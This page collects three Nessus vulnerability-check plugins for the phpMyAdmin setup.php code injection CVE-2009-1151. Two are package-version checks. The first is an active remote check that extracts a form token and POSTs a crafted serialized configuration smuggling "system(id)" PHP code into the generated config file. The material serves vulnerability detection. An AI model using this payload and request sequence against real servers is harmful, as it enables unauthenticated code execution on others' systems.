Vulnerabilities > CVE-2009-1151 - Code Injection vulnerability in multiple products

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(36170);
  script_version("1.22");
  script_cvs_date("Date: 2018/07/24 18:56:11");

  script_cve_id("CVE-2009-1151");
  script_bugtraq_id(34236);
  script_xref(name:"Secunia", value:"34430");

  script_name(english:"phpMyAdmin setup.php save Action Arbitrary PHP Code Injection (PMASA-2009-3)");
  script_summary(english:"Tries to inject PHP code into temporary config file");

  script_set_attribute( attribute:"synopsis",  value:
"The remote web server contains a PHP application that may allow
execution of arbitrary code."  );
  script_set_attribute( attribute:"description",  value:
"The setup script included with the version of phpMyAdmin installed on
the remote host does not properly sanitize user-supplied input to
several variables before using them to generate a config file for the
application.  Using specially crafted POST requests, an
unauthenticated, remote attacker may be able to leverage this issue to
execute arbitrary PHP code.

Note that the application is also reportedly affected by several other
issues, although Nessus has not actually checked for them.");
  script_set_attribute(
    attribute:"see_also", 
    value:"http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php"
  );
  script_set_attribute( attribute:"solution",  value:
"Upgrade to phpMyAdmin 2.11.9.5 / 3.1.3.1 or apply the patch referenced
in the project's advisory."  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpmyadmin File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PhpMyAdmin Config File Code Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
  script_cwe_id(94);
  script_set_attribute(attribute:"plugin_publication_date", value: "2009/04/16");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpmyadmin:phpmyadmin");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.");

  script_dependencies("phpMyAdmin_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/phpMyAdmin", "www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");


port = get_http_port(default:80, embedded:FALSE, php:TRUE);


# Define some variables.
key = string(SCRIPT_NAME, "']; system(id); #");
val = 'NESSUS';
eoltype = "unix";


# Test an install.
install = get_kb_item(string("www/", port, "/phpMyAdmin"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # nb: phpMyAdmin 3.x has its setup script in a different location. We're not
  #     testing it because we don't believe the vulnerability is exploitable in
  #     that version.
  foreach script (make_list("/scripts/setup.php"))
  {
    url = string(dir, script);

    clear_cookiejar();
    res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);

    # If the config can't be written to disk, this cannot be exploited - even
    # if the software is unpatched.  In which case, only continue if paranoid.
    if ('Can not load or save configuration' >< res[2])
    {
      if (report_paranoia < 2)
        exit(1, "The system might be unpatched, but cannot be exploited.");
      else
        config_writeable = FALSE;
    }
    else config_writeable = TRUE;

    # Extract the token.
    token = NULL;

    pat = 'input type="hidden" name="token" value="([^"]+)"';
    matches = egrep(string:res[2], pattern:pat);
    if (matches)
    {
      foreach match (split(matches, keep:FALSE))
      {
        item = eregmatch(pattern:pat, string:match);
        if (!isnull(item))
        {
          token = item[1];
          break;
        }
      }
    }
    if (isnull(token)) continue;

    # Try to exploit the issue.
    #
    # nb: we verify the vulnerability only by displaying the config file;
    #     if the config file is not writable, this will produce a result 
    #     even though the vulnerability is not really exploitable. 
    configuration = string(
      'a:1:{',
        's:7:"Servers";a:1:{',
          'i:0;a:1:{',
            's:', strlen(key), ':"', key, '";',
            's:', strlen(val), ':"', val, '";',
          '}',
        '}',
      '}'
    );
    postdata = string(
      "token=", token, "&",
      "action=display&",
      "configuration=", urlencode(str:configuration), "&",
      "eoltype=", eoltype
    );

    req = http_mk_post_req(
      port        : port,
      item        : url, 
      data        : postdata,
      add_headers : make_array(
        "Content-Type", "application/x-www-form-urlencoded"
      )
    );
    res = http_send_recv_req(port:port, req:req, exit_on_fail:TRUE);

    # There's a problem if our key was accepted.
    if (string("$cfg['Servers'][$i]['", key, "'] = '", val, "';") >< res[2])
    {
      if (!config_writeable)
      {
        report = string(
          "\n",
          "Even though the software is unpatched, the web server does not\n",
          "have permission to write the configuration file to disk, which\n",
          "means the vulnerability cannot be exploited at this time.\n"
        );
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }
  }
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from openSUSE Security Update phpMyAdmin-711.
#
# The text description of this plugin is (C) SUSE LLC.
#

include("compat.inc");

if (description)
{
  script_id(40108);
  script_version("1.17");
  script_cvs_date("Date: 2019/10/25 13:36:34");

  script_cve_id("CVE-2009-1148", "CVE-2009-1149", "CVE-2009-1150", "CVE-2009-1151");

  script_name(english:"openSUSE Security Update : phpMyAdmin (phpMyAdmin-711)");
  script_summary(english:"Check for the phpMyAdmin-711 patch");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote openSUSE host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"This update of phpMyAdmin fixes multiple vulnerabilities :

  - CVE-2009-1148: directory traversal

  - CVE-2009-1149: CRLF injection

  - CVE-2009-1150: cross-site scripting

  - CVE-2009-1151: static code injection"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.novell.com/show_bug.cgi?id=490596"
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Update the affected phpMyAdmin package."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpmyadmin File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PhpMyAdmin Config File Code Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
  script_cwe_id(20, 22, 79, 94);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:phpMyAdmin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:11.0");

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/03/26");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/04/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/07/21");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2009-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"SuSE Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/SuSE/release");
if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
if (release !~ "^(SUSE11\.0)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "11.0", release);
if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);



flag = 0;

if ( rpm_check(release:"SUSE11.0", reference:"phpMyAdmin-2.11.9.5-0.1") ) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "phpMyAdmin");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200906-03.
#
# The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(39570);
  script_version("1.22");
  script_cvs_date("Date: 2019/08/02 13:32:45");

  script_cve_id("CVE-2009-1150", "CVE-2009-1151");
  script_bugtraq_id(34251);
  script_xref(name:"GLSA", value:"200906-03");

  script_name(english:"GLSA-200906-03 : phpMyAdmin: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200906-03
(phpMyAdmin: Multiple vulnerabilities)

    Multiple vulnerabilities have been reported in phpMyAdmin:
    Greg Ose discovered that the setup script does not sanitize input
    properly, leading to the injection of arbitrary PHP code into the
    configuration file (CVE-2009-1151).
    Manuel Lopez Gallego and
    Santiago Rodriguez Collazo reported that data from cookies used in the
    'Export' page is not properly sanitized (CVE-2009-1150).
  
Impact :

    A remote unauthorized attacker could exploit the first vulnerability to
    execute arbitrary code with the privileges of the user running
    phpMyAdmin and conduct Cross-Site Scripting attacks using the second
    vulnerability.
  
Workaround :

    Removing the 'scripts/setup.php' file protects you from CVE-2009-1151."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200906-03"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All phpMyAdmin users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=dev-db/phpmyadmin-2.11.9.5'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpmyadmin File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PhpMyAdmin Config File Code Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
  script_cwe_id(79, 94);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:phpmyadmin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/03/26");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/06/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/06/30");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2009-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"dev-db/phpmyadmin", unaffected:make_list("ge 2.11.9.5"), vulnerable:make_list("lt 2.11.9.5"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "phpMyAdmin");
}